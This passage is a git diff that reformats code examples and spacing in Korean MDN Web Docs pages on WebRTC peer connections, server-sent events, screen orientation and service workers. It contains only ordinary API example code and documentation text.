     - `iceTransportPolicy` {{optional_inline}}
diff --git a/files/ko/web/api/rtcpeerconnection/setconfiguration/index.md b/files/ko/web/api/rtcpeerconnection/setconfiguration/index.md
index 5d515652e1d0b3..f2d0004ea2eabd 100644
--- a/files/ko/web/api/rtcpeerconnection/setconfiguration/index.md
+++ b/files/ko/web/api/rtcpeerconnection/setconfiguration/index.md
@@ -2,6 +2,7 @@
 title: RTCPeerConnection.setConfiguration()
 slug: Web/API/RTCPeerConnection/setConfiguration
 ---
+
 {{APIRef("WebRTC")}}{{SeeCompatTable}}
 
 **`RTCPeerConnection.setConfiguration()`** 메소드는 {{domxref("RTCConfiguration")}}객체에 명시한 값을 가지고 {{domxref("RTCPeerConnection")}}의 현재 설정을 지정합니다. 이 메소드를 사용해서 연결에서 사용되는 ICE 서버와 전송 정책을 변경 할 수 있습니다.
@@ -40,22 +41,27 @@ RTCPeerConnection.setConfiguration(configuration);
 아래의 예시에서는 ICE 재시작이 필요한 것을 확인하고, 다른 ICE 서버를 사용해서 협상이 이루어지도록 합니다.
 
 ```js
-var restartConfig = { iceServers: [{
-                          urls: "turn:asia.myturnserver.net",
-                          username: "allie@oopcode.com",
-                          credential: "topsecretpassword"
-                      }]
+var restartConfig = {
+  iceServers: [
+    {
+      urls: "turn:asia.myturnserver.net",
+      username: "allie@oopcode.com",
+      credential: "topsecretpassword",
+    },
+  ],
 };
 
 myPeerConnection.setConfiguration(restartConfig);
 
-myPeerConnection.createOffer({"iceRestart": true}).then(function(offer) {
-  return myPeerConnection.setLocalDescription(offer);
-})
-.then(function() {
-  // send the offer to the other peer using the signaling server
-})
-.catch(reportError);
+myPeerConnection
+  .createOffer({ iceRestart: true })
+  .then(function (offer) {
+    return myPeerConnection.setLocalDescription(offer);
+  })
+  .then(function () {
+    // send the offer to the other peer using the signaling server
+  })
+  .catch(reportError);
 ```
 
 먼저, 신규 {{domxref("RTCConfiguration")}}가 신규 ICE 서버와 인증 정보를 명시한 `restartConfig`를 가지도록 생성됩니다. 그리고 설정한 {{domxref("RTCConfiguration")}}가 `setConfiguration()`에 전달됩니다. `iceRestart` 옵션의 값을 `true`로 지정하고, {{domxref("RTCPeerConnection.createOffer()", "createOffer()")}}을 호출해서 ICE 협상이 재시작됩니다. 이후에, 반환받은 offer를 local description으로 설정하고, 다른 피어에게 offer를 전달하는 것과 같이 일반적으로 진행되도록 처리합니다.
diff --git a/files/ko/web/api/rtcpeerconnection/setidentityprovider/index.md b/files/ko/web/api/rtcpeerconnection/setidentityprovider/index.md
index 9dba9270f3b1d6..22dfae946a26bd 100644
--- a/files/ko/web/api/rtcpeerconnection/setidentityprovider/index.md
+++ b/files/ko/web/api/rtcpeerconnection/setidentityprovider/index.md
@@ -2,6 +2,7 @@
 title: RTCPeerConnection.setIdentityProvider()
 slug: Web/API/RTCPeerConnection/setIdentityProvider
 ---
+
 {{APIRef("WebRTC")}}{{SeeCompatTable}}
 
 **`RTCPeerConnection.setIdentityProvider()`** 메소드는 이름, 통신에 사용된 프로토콜 (옵션), 유저 이름 (옵션)으로 구성된 세 가지 매개변수에 식별 제공자 (Identity Provider, IdP)를 지정합니다. IdP는 주장 (assertion)이 필요한 순간에만 사용 될 것입니다.
diff --git a/files/ko/web/api/rtcpeerconnection/setlocaldescription/index.md b/files/ko/web/api/rtcpeerconnection/setlocaldescription/index.md
index fe822b9bb3390b..cdc9861460c8d6 100644
--- a/files/ko/web/api/rtcpeerconnection/setlocaldescription/index.md
+++ b/files/ko/web/api/rtcpeerconnection/setlocaldescription/index.md
@@ -29,7 +29,7 @@ pc.setLocalDescription(sessionDescription, successCallback, errorCallback);
 `sessionDescription` 매개 변수는 일단 기술적으로는 `RTCSessionDescriptionInit`의 타입입니다. 하지만, {{domxref("RTCSessionDescription")}}가 `RTCSessionDescriptionInit`와 구별이 불가능하도록 직렬화 (serialize)하기 때문에, `RTCSessionDescription`를 전달 할 수도 있습니다. 이 말은 코드가 다음과 같이 간단해질 수 있다는 뜻입니다:
 
 ```js
-myPeerConnection.createOffer().then(function(offer) {
+myPeerConnection.createOffer().then(function (offer) {
   return myPeerConnection.setLocalDescription(new RTCSessionDescription(offer));
 });
 ```
@@ -46,7 +46,7 @@ myPeerConnection.createOffer().then(myPeerConnection.setLocalDescription);
 
 {{domxref("RTCPeerConnection.localDescription")}}의 값이 성공적으로 바뀌거나 혹은 변환이 불가능한 경우 거절되면 fulfill 되는 {{jsxref("Promise")}}입니다. 거절되는 예로는 명시한 설명이 연결에 존재하는 하나 혹은 양쪽 모두의 피어들과 호환이 불가능하면 발생하기도 합니다. 참고로 프로미스의 fulfillment 핸들러는 입력 매개 변수를 받지 않습니다.
 
-> **참고:** 설명을 바꾸는 과정은 변경이 실패해도 연결 상태를 잃지 않게 보장하도록 WebRTC 레이어에 의해서 처리되는 중간 단계를 거칩니다. 이 과정에 대한 자세한 설명은 [Pending and current descriptions](/en-US/docs/Web/API/WebRTC_API/Connectivity#pending_and_current_descriptions)를 참조하십시오.
+> **참고:** 설명을 바꾸는 과정은 변경이 실패해도 연결 상태를 잃지 않게 보장하도록 WebRTC 레이어에 의해서 처리되는 중간 단계를 거칩니다. 이 과정에 대한 자세한 설명은 [Pending and current descriptions](/ko/docs/Web/API/WebRTC_API/Connectivity#pending_and_current_descriptions)를 참조하십시오.
 
 ### 지원이 중단된 매개 변수
 
@@ -74,13 +74,14 @@ myPeerConnection.createOffer().then(myPeerConnection.setLocalDescription);
 
 ```js
 function handleNegotiationNeededEvent() {
-  pc.createOffer().then(function(offer) {
-    return pc.setLocalDescription(offer);
-  })
-  .then(function() {
-    // Send the offer to the remote peer using the signaling server
-  })
-  .catch(reportError);
+  pc.createOffer()
+    .then(function (offer) {
+      return pc.setLocalDescription(offer);
+    })
+    .then(function () {
+      // Send the offer to the remote peer using the signaling server
+    })
+    .catch(reportError);
 }
 ```
 
diff --git a/files/ko/web/api/rtcpeerconnection/track_event/index.md b/files/ko/web/api/rtcpeerconnection/track_event/index.md
index 77d9a8d2995e7a..46fb70b943f328 100644
--- a/files/ko/web/api/rtcpeerconnection/track_event/index.md
+++ b/files/ko/web/api/rtcpeerconnection/track_event/index.md
@@ -25,7 +25,7 @@ RTCPeerConnection.ontrack = eventHandler;
 아래의 예시는 [Signaling and video calling](/ko/docs/Web/API/WebRTC_API/Signaling_and_video_calling) 문서에 나온 코드의 일부입니다. 이 코드는 들어오는 트랙을 {{HTMLElement("video")}}에 연결해서 해당 비디오를 보여줄 수 있도록 합니다.
 
 ```js
-pc.ontrack = function(event) {
+pc.ontrack = function (event) {
   document.getElementById("received_video").srcObject = event.streams[0];
   document.getElementById("hangup-button").disabled = false;
 };
diff --git a/files/ko/web/api/rtcpeerconnectioniceevent/candidate/index.md b/files/ko/web/api/rtcpeerconnectioniceevent/candidate/index.md
index 4467635b478cea..60bc807de5c98b 100644
--- a/files/ko/web/api/rtcpeerconnectioniceevent/candidate/index.md
+++ b/files/ko/web/api/rtcpeerconnectioniceevent/candidate/index.md
@@ -2,6 +2,7 @@
 title: RTCPeerConnectionIceEvent.candidate
 slug: Web/API/RTCPeerConnectionIceEvent/candidate
 ---
+
 {{APIRef("WebRTC")}}
 
 {{domxref("RTCPeerConnectionIceEvent")}} 인터페이스의 candidate 속성은 읽기 전용입니다. 이 속성은 {{domxref("RTCIceCandidate")}}와 관련된 이벤트를 반환합니다.
@@ -9,7 +10,7 @@ slug: Web/API/RTCPeerConnectionIceEvent/candidate
 ## Syntax
 
 ```js
- var candidate = event.candidate;
+var candidate = event.candidate;
 ```
 
 ### 값
@@ -19,11 +20,13 @@ ICE candidate를 나타내는 {{domxref("RTCIceCandidate")}} 객체. 해당 네
 ## 예시
 
 ```js
-pc.onicecandidate = function( ev ) {
-  alert("The ICE candidate (transport address: '" +
-    ev.candidate.candidate +
-    "') has been added to this connection.");
-}
+pc.onicecandidate = function (ev) {
+  alert(
+    "The ICE candidate (transport address: '" +
+      ev.candidate.candidate +
+      "') has been added to this connection.",
+  );
+};
 ```
 
 ## 명세
diff --git a/files/ko/web/api/rtcsessiondescription/index.md b/files/ko/web/api/rtcsessiondescription/index.md
index bf8850ce2a8f20..0aee525638e010 100644
--- a/files/ko/web/api/rtcsessiondescription/index.md
+++ b/files/ko/web/api/rtcsessiondescription/index.md
@@ -14,6 +14,7 @@ The process of negotiating a connection between two peers involves exchanging `R
 _The `RTCSessionDescription` interface doesn't inherit any properties._
 
 - {{domxref("RTCSessionDescription.type")}} {{ReadOnlyInline}}
+
   - : An enum of type [`RTCSdpType`](#rtcsdptype) describing the session description's type.
 
 - {{domxref("RTCSessionDescription.sdp")}} {{ReadOnlyInline}}
@@ -25,12 +26,12 @@ _The `RTCSessionDescription` interface doesn't inherit any properties._
 
 This enum defines strings that describe the current state of the session description, as used in the {{domxref("RTCSessionDescription.type", "type")}} property. The session description's type will be specified using one of these values.
 
-| Value      | Description                                                                                                                                                                                                                                                               |
-| ---------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Value      | Description                                                                                                                                                                                                                                              |
+| ---------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
 | `answer`   | The SDP contained in the {{domxref("RTCSessionDescription.sdp", "sdp")}} property is the definitive choice in the exchange. In other words, this session description describes the agreed-upon configuration, and is being sent to finalize negotiation. |
-| `offer`    | The session description object describes the initial proposal in an offer/answer exchange. The session negotiation process begins with an offer being sent from the caller to the callee.                                                                                 |
-| `pranswer` | The session description object describes a provisional answer; that is, a response to a previous offer that is not the final answer. It is usually employed by legacy hardware.                                                                                           |
-| `rollback` | This special type with an empty session description is used to roll back to the previous stable state.                                                                                                                                                                    |
+| `offer`    | The session description object describes the initial proposal in an offer/answer exchange. The session negotiation process begins with an offer being sent from the caller to the callee.                                                                |
+| `pranswer` | The session description object describes a provisional answer; that is, a response to a previous offer that is not the final answer. It is usually employed by legacy hardware.                                                                          |
+| `rollback` | This special type with an empty session description is used to roll back to the previous stable state.                                                                                                                                                   |
 
 ## Methods
 
@@ -45,19 +46,25 @@ _The `RTCSessionDescription` doesn't inherit any methods._
 
 ```js
 signalingChannel.onmessage = function (evt) {
-    if (!pc)
-        start(false);
-
-    var message = JSON.parse(evt.data);
-    if (message.sdp)
-        pc.setRemoteDescription(new RTCSessionDescription(message), function () {
-            // if we received an offer, we need to answer
-            if (pc.remoteDescription.type == "offer")
-                pc.createAnswer(localDescCreated, logError);
-        }, logError);
-    else
-        pc.addIceCandidate(new RTCIceCandidate(message.candidate),
-            function () {}, logError);
+  if (!pc) start(false);
+
+  var message = JSON.parse(evt.data);
+  if (message.sdp)
+    pc.setRemoteDescription(
+      new RTCSessionDescription(message),
+      function () {
+        // if we received an offer, we need to answer
+        if (pc.remoteDescription.type == "offer")
+          pc.createAnswer(localDescCreated, logError);
+      },
+      logError,
+    );
+  else
+    pc.addIceCandidate(
+      new RTCIceCandidate(message.candidate),
+      function () {},
+      logError,
+    );
 };
 ```
 
diff --git a/files/ko/web/api/rtcsessiondescription/type/index.md b/files/ko/web/api/rtcsessiondescription/type/index.md
index 0cc22a19a20ee2..30abd11bb7b510 100644
--- a/files/ko/web/api/rtcsessiondescription/type/index.md
+++ b/files/ko/web/api/rtcsessiondescription/type/index.md
@@ -2,6 +2,7 @@
 title: RTCSessionDescription.type
 slug: Web/API/RTCSessionDescription/type
 ---
+
 {{APIRef("WebRTC")}}{{SeeCompatTable}}
 
 읽기 전용 값인 **`RTCSessionDescription.type`**은 세션 설명의 타입을 알려주는 `RTCSdpType`타입의 값입니다.
diff --git a/files/ko/web/api/screen/orientation/index.md b/files/ko/web/api/screen/orientation/index.md
index 68633881525b82..8b39c67e54b97b 100644
--- a/files/ko/web/api/screen/orientation/index.md
+++ b/files/ko/web/api/screen/orientation/index.md
@@ -30,7 +30,10 @@ if (orientation === "landscape-primary") {
   console.log("That looks good.");
 } else if (orientation === "landscape-secondary") {
   console.log("Mmmh... the screen is upside down!");
-} else if (orientation === "portrait-secondary" || orientation === "portrait-secondary") {
+} else if (
+  orientation === "portrait-secondary" ||
+  orientation === "portrait-secondary"
+) {
   console.log("Mmmh... you should rotate your device");
 }
 ```
diff --git a/files/ko/web/api/screen/orientationchange_event/index.md b/files/ko/web/api/screen/orientationchange_event/index.md
index 59634bbdcdfc8d..9ba31ef4ab0e4f 100644
--- a/files/ko/web/api/screen/orientationchange_event/index.md
+++ b/files/ko/web/api/screen/orientationchange_event/index.md
@@ -3,6 +3,7 @@ title: window.screen.onorientationchange
 slug: Web/API/Screen/orientationchange_event
 original_slug: Web/API/Screen/onorientationchange
 ---
+
 {{ ApiRef() }}
 
 {{SeeCompatTable}}
diff --git a/files/ko/web/api/selection/tostring/index.md b/files/ko/web/api/selection/tostring/index.md
index be4758ce34f7f4..7f1c3b8f9273d1 100644
--- a/files/ko/web/api/selection/tostring/index.md
+++ b/files/ko/web/api/selection/tostring/index.md
@@ -10,7 +10,7 @@ slug: Web/API/Selection/toString
 ## Syntax
 
 ```js
-str = sel.toString()
+str = sel.toString();
 ```
 
 ### Return value
@@ -24,8 +24,8 @@ This method returns the currently selected text.
 In [JavaScript](en/JavaScript), this method is called automatically when a function the selection object is passed to requires a string:
 
 ```js
-alert(window.getSelection()) // What is called
-alert(window.getSelection().toString())  // What is actually being effectively called.
+alert(window.getSelection()); // What is called
+alert(window.getSelection().toString()); // What is actually being effectively called.
 ```
 
 ## 명세서
diff --git a/files/ko/web/api/server-sent_events/index.md b/files/ko/web/api/server-sent_events/index.md
index 4accb0e9f6c8b4..b16500caf373d8 100644
--- a/files/ko/web/api/server-sent_events/index.md
+++ b/files/ko/web/api/server-sent_events/index.md
@@ -2,6 +2,7 @@
 title: Server-sent events
 slug: Web/API/Server-sent_events
 ---
+
 {{DefaultAPISidebar("Server Sent Events")}}
 
 전통적으로 웹페이지는 새로운 데이터를 받기 위해 서버로 요청을 보내야만 합니다; 서버로 데이터를 요청하는 방식입니다. 하지만 Server-Sent Events 방식으로 웹페이지의 요청 없이도 언제든지 서버가 새로운 데이터를 보내는 것이 가능합니다. 이렇게 보내진 메시지는 웹페이지 안에서 *[Events](/ko/docs/DOM/event) + 데이터*로 다룰 수 있습니다.
diff --git a/files/ko/web/api/server-sent_events/using_server-sent_events/index.md b/files/ko/web/api/server-sent_events/using_server-sent_events/index.md
index 6ce5a2502c82ec..6e5d43d9125525 100644
--- a/files/ko/web/api/server-sent_events/using_server-sent_events/index.md
+++ b/files/ko/web/api/server-sent_events/using_server-sent_events/index.md
@@ -2,6 +2,7 @@
 title: Server-Sent Events 사용하기
 slug: Web/API/Server-sent_events/Using_server-sent_events
 ---
+
 {{DefaultAPISidebar("Server Sent Events")}}
 
 [Server-Sent Events](/ko/docs/Web/API/Server-sent_events)를 사용하는 웹 애플리케이션 개발은 매우 간단하다. 웹 애플리케이션으로 스트림 이벤트를 보내는 약간의 코드가 서버 상에 필요하지만, 웹 애플리케이션 측은 [웹 소켓](/ko/docs/Web/API/WebSockets_API)에서 이벤트를 다루는 방식과 거의 차이가 없다.
@@ -17,19 +18,21 @@ var evtSource = new EventSource("ssedemo.php");
 이벤트를 생성하는 스크립트가 다른 도메인에 존재할 경우엔 URI와 옵션 딕셔너리를 모두 지정하여 새로운 [`EventSource`](/ko/docs/Server-sent_events/EventSource) 객체를 생성한다. 클라이언트 스크립트가 example.com에 있는 경우라면:
 
 ```js
-var evtSource = new EventSource("//api.example.com/ssedemo.php", { withCredentials: true } );
+var evtSource = new EventSource("//api.example.com/ssedemo.php", {
+  withCredentials: true,
+});
 ```
 
 이벤트 소스를 생성 했다면 `message` 이벤트에 대한 핸들러를 등록하여 서버로부터의 메시지 수신을 시작할 수 있다.
 
 ```js
-evtSource.onmessage = function(e) {
+evtSource.onmessage = function (e) {
   var newElement = document.createElement("li");
-  var eventList = document.getElementById('list');
+  var eventList = document.getElementById("list");
 
   newElement.innerHTML = "message: " + e.data;
   eventList.appendChild(newElement);
-}
+};
 ```
 
 위 코드는 입력 메시지(즉, `event` 필드를 갖고 있지 않은 서버로부터의 알림)를 수신하여 그 메시지의 텍스트를 document의 HTML에 있는 목록에 추가한다.
@@ -37,7 +40,7 @@ evtSource.onmessage = function(e) {
 또는 `addEventListener()`를 사용하여 이벤트를 기다릴 수도 있다.
 
 ```js
-evtSource.addEventListener("ping", function(event) {
+evtSource.addEventListener("ping", function (event) {
   const newElement = document.createElement("li");
   const time = JSON.parse(event.data).time;
   newElement.textContent = "ping at " + time;
@@ -92,7 +95,7 @@ to break the loop if the connection has been closed (e.g. client closes the page
 문제가 발생한 경우(네크워크 타임아웃이나 [접근 제약](/ko/docs/HTTP/Access_control_CORS)과 관련한 문제)에는 오류 이벤트를 생성한다. `EventSource` 갹채에 `onerror` 콜백을 등록하면 에러를 프로그램으로 대처할 수 있다.
 
 ```js
-evtSource.onerror = function(e) {
+evtSource.onerror = function (e) {
   alert("EventSource failed.");
 };
 ```
diff --git a/files/ko/web/api/service_worker_api/using_service_workers/index.md b/files/ko/web/api/service_worker_api/using_service_workers/index.md
index 38a60482d5b37d..249190cca1a916 100644
--- a/files/ko/web/api/service_worker_api/using_service_workers/index.md
+++ b/files/ko/web/api/service_worker_api/using_service_workers/index.md
@@ -9,7 +9,7 @@ slug: Web/API/Service_Worker_API/Using_Service_Workers
 
 본 문서에서는 서비스 워커를 시작하기 위한 기본적인 아키텍처, 서비스 워커 등록, 새로운 서비스 워커의 설치와 활성화 과정, 서비스 워커 업데이트, 캐시 제어 및 사용자 정의 응답에 대한 정보를 오프라인 기능을 갖춘 간단한 예제를 통해 제공합니다.
 
-## 서비스 워커에 앞서서...
+## 서비스 워커에 앞서서
 
 웹 사용자들이 몇 년 동안 겪었던 가장 중요한 문제 중 하나는 인터넷 연결이 끊어지면 작동하지 않는겁니다. 세계 최고의 웹 앱조차 연결이 없을 때는 끔찍한 사용자 경험을 제공합니다. 우리의 [오프라인](/en-US/Apps/Build/Offline) 페이지가 보여주듯이, 이 문제를 해결하기 위한 기술을 개발하기 위한 여러가지 시도가 있었고, 일부 문제는 해결되었습니다. 그러나 가장 중요한 문제는 리소스 캐싱과 커스텀 네트워크(예를 들어 WebSocket등을 이용한 리소스 로드) 통신 제어 메커니즘이 여전히 좋지 않다는 점입니다.
 
@@ -53,7 +53,7 @@ The below graphic shows a summary of the available service worker events:
 
 Promises can do a great many things, but for now, all you need to know is that if something returns a promise, you can attach `.then()` to the end and include callbacks inside it for success, failure, etc., or you can insert `.catch()` on the end if you want to include a failure callback.
 
-Let’s compare a traditional synchronous callback structure to its asynchronous promise equivalent.
+Let's compare a traditional synchronous callback structure to its asynchronous promise equivalent.
 
 #### sync
 
@@ -61,7 +61,7 @@ Let’s compare a traditional synchronous callback structure to its asynchronous
 try {
   var value = myFunction();
   console.log(value);
-} catch(err) {
+} catch (err) {
   console.log(err);
 }
 ```
@@ -69,16 +69,18 @@ try {
 #### async
 
 ```js
-myFunction().then(function(value) {
-  console.log(value);
-}).catch(function(err) {
-  console.log(err);
-});
+myFunction()
+  .then(function (value) {
+    console.log(value);
+  })
+  .catch(function (err) {
+    console.log(err);
+  });
 ```
 
 In the first example, we have to wait for `myFunction()` to run and return `value` before any more of the code can execute. In the second example, `myFunction()` returns a promise for `value`, then the rest of the code can carry on running. When the promise resolves, the code inside `then` will be run, asynchronously.
 
-Now for a real example — what if we wanted to load images dynamically, but we wanted to make sure the images were loaded before we tried to display them? This is a standard thing to want to do, but it can be a bit of a pain. We can use `.onload` to only display the image after it’s loaded, but what about events that start happening before we start listening to them? We could try to work around this using `.complete`, but it’s still not foolproof, and what about multiple images? And, ummm, it’s still synchronous, so blocks the main thread.
+Now for a real example — what if we wanted to load images dynamically, but we wanted to make sure the images were loaded before we tried to display them? This is a standard thing to want to do, but it can be a bit of a pain. We can use `.onload` to only display the image after it's loaded, but what about events that start happening before we start listening to them? We could try to work around this using `.complete`, but it's still not foolproof, and what about multiple images? And, ummm, it's still synchronous, so blocks the main thread.
 
 Instead, we could build our own promise to handle this kind of case. (See our [Promises test](https://github.com/mdn/promises-test) example for the source code, or [look at it running live](https://mdn.github.io/promises-test/).)
 
@@ -86,21 +88,25 @@ Instead, we could build our own promise to handle this kind of case. (See our [P
 
 ```js
 function imgLoad(url) {
-  return new Promise(function(resolve, reject) {
+  return new Promise(function (resolve, reject) {
     var request = new XMLHttpRequest();
-    request.open('GET', url);
-    request.responseType = 'blob';
+    request.open("GET", url);
+    request.responseType = "blob";
 
-    request.onload = function() {
+    request.onload = function () {
       if (request.status == 200) {
         resolve(request.response);
       } else {
-        reject(Error('Image didn\'t load successfully; error code:' + request.statusText));
+        reject(
+          Error(
+            "Image didn't load successfully; error code:" + request.statusText,
+          ),
+        );
       }
     };
 
-    request.onerror = function() {
-      reject(Error('There was a network error.'));
+    request.onerror = function () {
+      reject(Error("There was a network error."));
     };
 
     request.send();
@@ -108,62 +114,67 @@ function imgLoad(url) {
 }
 ```
 
-We return a new promise using the `Promise()` constructor, which takes as an argument a callback function with `resolve` and `reject` parameters. Somewhere in the function, we need to define what happens for the promise to resolve successfully or be rejected — in this case return a 200 OK status or not — and then call `resolve` on success, or `reject` on failure. The rest of the contents of this function is fairly standard XHR stuff, so we won’t worry about that for now.
+We return a new promise using the `Promise()` constructor, which takes as an argument a callback function with `resolve` and `reject` parameters. Somewhere in the function, we need to define what happens for the promise to resolve successfully or be rejected — in this case return a 200 OK status or not — and then call `resolve` on success, or `reject` on failure. The rest of the contents of this function is fairly standard XHR stuff, so we won't worry about that for now.
 
 When we come to call the `imgLoad()` function, we call it with the url to the image we want to load, as we might expect, but the rest of the code is a little different:
 
 ```js
-var body = document.querySelector('body');
+var body = document.querySelector("body");
 var myImage = new Image();
 
-imgLoad('myLittleVader.jpg').then(function(response) {
-  var imageURL = window.URL.createObjectURL(response);
-  myImage.src = imageURL;
-  body.appendChild(myImage);
-}, function(Error) {
-  console.log(Error);
-});
+imgLoad("myLittleVader.jpg").then(
+  function (response) {
+    var imageURL = window.URL.createObjectURL(response);
+    myImage.src = imageURL;
+    body.appendChild(myImage);
+  },
+  function (Error) {
+    console.log(Error);
+  },
+);
 ```
 
-On to the end of the function call, we chain the promise `then()` method, which contains two functions — the first one is executed when the promise successfully resolves, and the second is called when the promise is rejected. In the resolved case, we display the image inside `myImage` and append it to the body (it’s argument is the `request.response` contained inside the promise’s `resolve` method); in the rejected case we return an error to the console.
+On to the end of the function call, we chain the promise `then()` method, which contains two functions — the first one is executed when the promise successfully resolves, and the second is called when the promise is rejected. In the resolved case, we display the image inside `myImage` and append it to the body (it's argument is the `request.response` contained inside the promise's `resolve` method); in the rejected case we return an error to the console.
 
 This all happens asynchronously.
 
 > **참고:** You can also chain promise calls together, for example:
 > `myPromise().then(success, failure).then(success).catch(failure);`
 
-> **참고:** You can find a lot more out about promises by reading Jake Archibald’s excellent [JavaScript Promises: there and back again](http://www.html5rocks.com/en/tutorials/es6/promises/).
+> **참고:** You can find a lot more out about promises by reading Jake Archibald's excellent [JavaScript Promises: there and back again](http://www.html5rocks.com/en/tutorials/es6/promises/).
 
 ## Service workers demo
 
-To demonstrate just the very basics of registering and installing a service worker, we have created a simple demo called [sw-test](https://github.com/mdn/sw-test), which is a simple Star wars Lego image gallery. It uses a promise-powered function to read image data from a JSON object and load the images using Ajax, before displaying the images in a line down the page. We’ve kept things static and simple for now. It also registers, installs, and activates a service worker, and when more of the spec is supported by browsers it will cache all the files required so it will work offline!
+To demonstrate just the very basics of registering and installing a service worker, we have created a simple demo called [sw-test](https://github.com/mdn/sw-test), which is a simple Star wars Lego image gallery. It uses a promise-powered function to read image data from a JSON object and load the images using Ajax, before displaying the images in a line down the page. We've kept things static and simple for now. It also registers, installs, and activates a service worker, and when more of the spec is supported by browsers it will cache all the files required so it will work offline!
 
 ![](demo-screenshot.png)
 
-You can see the [source code on GitHub](https://github.com/mdn/sw-test/), and [view the example live](https://mdn.github.io/sw-test/). The one bit we’ll call out here is the promise (see [app.js lines 22-47](https://github.com/mdn/sw-test/blob/gh-pages/app.js#L22-L47)), which is a modified version of what you read about above, in the [Promises test demo](https://github.com/mdn/promises-test). It is different in the following ways:
+You can see the [source code on GitHub](https://github.com/mdn/sw-test/), and [view the example live](https://mdn.github.io/sw-test/). The one bit we'll call out here is the promise (see [app.js lines 22-47](https://github.com/mdn/sw-test/blob/gh-pages/app.js#L22-L47)), which is a modified version of what you read about above, in the [Promises test demo](https://github.com/mdn/promises-test). It is different in the following ways:
 
-1. In the original, we only passed in a URL to an image we wanted to load. In this version, we pass in a JSON fragment containing all the data for a single image (see what they look like in [image-list.js](https://github.com/mdn/sw-test/blob/gh-pages/image-list.js)). This is because all the data for each promise resolve has to be passed in with the promise, as it is asynchronous. If you just passed in the url, and then tried to access the other items in the JSON separately when the `for()` loop is being iterated through later on, it wouldn’t work, as the promise wouldn’t resolve at the same time as the iterations are being done (that is a synchronous process.)
+1. In the original, we only passed in a URL to an image we wanted to load. In this version, we pass in a JSON fragment containing all the data for a single image (see what they look like in [image-list.js](https://github.com/mdn/sw-test/blob/gh-pages/image-list.js)). This is because all the data for each promise resolve has to be passed in with the promise, as it is asynchronous. If you just passed in the url, and then tried to access the other items in the JSON separately when the `for()` loop is being iterated through later on, it wouldn't work, as the promise wouldn't resolve at the same time as the iterations are being done (that is a synchronous process.)
 2. We actually resolve the promise with an array, as we want to make the loaded image blob available to the resolving function later on in the code, but also the image name, credits and alt text (see [app.js lines 31-34](https://github.com/mdn/sw-test/blob/gh-pages/app.js#L31-L34)). Promises will only resolve with a single argument, so if you want to resolve with multiple values, you need to use an array/object.
-3. To access the resolved promise values, we then access this function as you’d then expect (see [app.js lines 60-64](https://github.com/mdn/sw-test/blob/gh-pages/app.js#L60-L64)). This may seem a bit odd at first, but this is the way promises work.
+3. To access the resolved promise values, we then access this function as you'd then expect (see [app.js lines 60-64](https://github.com/mdn/sw-test/blob/gh-pages/app.js#L60-L64)). This may seem a bit odd at first, but this is the way promises work.
 
 ## Enter service workers
 
-Now let’s get on to service workers!
+Now let's get on to service workers!
 
 ### Registering your worker
 
-The first block of code in our app’s JavaScript file — `app.js` — is as follows. This is our entry point into using service workers.
+The first block of code in our app's JavaScript file — `app.js` — is as follows. This is our entry point into using service workers.
 
 ```js
-if ('serviceWorker' in navigator) {
-  navigator.serviceWorker.register('/sw-test/sw.js', {scope: '/sw-test/'})
-  .then(function(reg) {
-    // registration worked
-    console.log('Registration succeeded. Scope is ' + reg.scope);
-  }).catch(function(error) {
-    // registration failed
-    console.log('Registration failed with ' + error);
-  });
+if ("serviceWorker" in navigator) {
+  navigator.serviceWorker
+    .register("/sw-test/sw.js", { scope: "/sw-test/" })
+    .then(function (reg) {
+      // registration worked
+      console.log("Registration succeeded. Scope is " + reg.scope);
+    })
+    .catch(function (error) {
+      // registration failed
+      console.log("Registration failed with " + error);
+    });
 }
 ```
 
@@ -175,18 +186,18 @@ if ('serviceWorker' in navigator) {
 
 This registers a service worker, which runs in a worker context, and therefore has no DOM access. You then run code in the service worker outside of your normal pages to control their loading.
 
-A single service worker can control many pages. Each time a page within your scope is loaded, the service worker is installed against that page and operates on it. Bear in mind therefore that you need to be careful with global variables in the service worker script: each page doesn’t get its own unique worker.
+A single service worker can control many pages. Each time a page within your scope is loaded, the service worker is installed against that page and operates on it. Bear in mind therefore that you need to be careful with global variables in the service worker script: each page doesn't get its own unique worker.
 
 > **참고:** Your service worker functions like a proxy server, allowing you to modify requests and responses, replace them with items from its own cache, and more.
 
-> **참고:** One great thing about service workers is that if you use feature detection like we’ve shown above, browsers that don’t support service workers can just use your app online in the normal expected fashion. Furthermore, if you use AppCache and SW on a page, browsers that don’t support SW but do support AppCache will use that, and browsers that support both will ignore the AppCache and let SW take over.
+> **참고:** One great thing about service workers is that if you use feature detection like we've shown above, browsers that don't support service workers can just use your app online in the normal expected fashion. Furthermore, if you use AppCache and SW on a page, browsers that don't support SW but do support AppCache will use that, and browsers that support both will ignore the AppCache and let SW take over.
 
 #### Why is my service worker failing to register?
 
 This could be for the following reasons:
 
 1. You are not running your application through HTTPS.
-2. The path to your service worker file is not written correctly — it needs to be written relative to the origin, not your app’s root directory. In our example, the worker is at `https://mdn.github.io/sw-test/sw.js`, and the app’s root is `https://mdn.github.io/sw-test/`. But the path needs to be written as `/sw-test/sw.js`, not `/sw.js`.
+2. The path to your service worker file is not written correctly — it needs to be written relative to the origin, not your app's root directory. In our example, the worker is at `https://mdn.github.io/sw-test/sw.js`, and the app's root is `https://mdn.github.io/sw-test/`. But the path needs to be written as `/sw-test/sw.js`, not `/sw.js`.
 3. The service worker being pointed to is on a different origin to that of your app. This is also not allowed.
 
 ![](important-notes.png)
@@ -202,37 +213,37 @@ Also note:
 
 After your service worker is registered, the browser will attempt to install then activate the service worker for your page/site.
 
-The install event is fired when an install is successfully completed. The install event is generally used to populate your browser’s offline caching capabilities with the assets you need to run your app offline. To do this, we use Service Worker’s brand new storage API — {{domxref("cache")}} — a global on the service worker that allows us to store assets delivered by responses, and keyed by their requests. This API works in a similar way to the browser’s standard cache, but it is specific to your domain. It persists until you tell it not to — again, you have full control.
+The install event is fired when an install is successfully completed. The install event is generally used to populate your browser's offline caching capabilities with the assets you need to run your app offline. To do this, we use Service Worker's brand new storage API — {{domxref("cache")}} — a global on the service worker that allows us to store assets delivered by responses, and keyed by their requests. This API works in a similar way to the browser's standard cache, but it is specific to your domain. It persists until you tell it not to — again, you have full control.
 
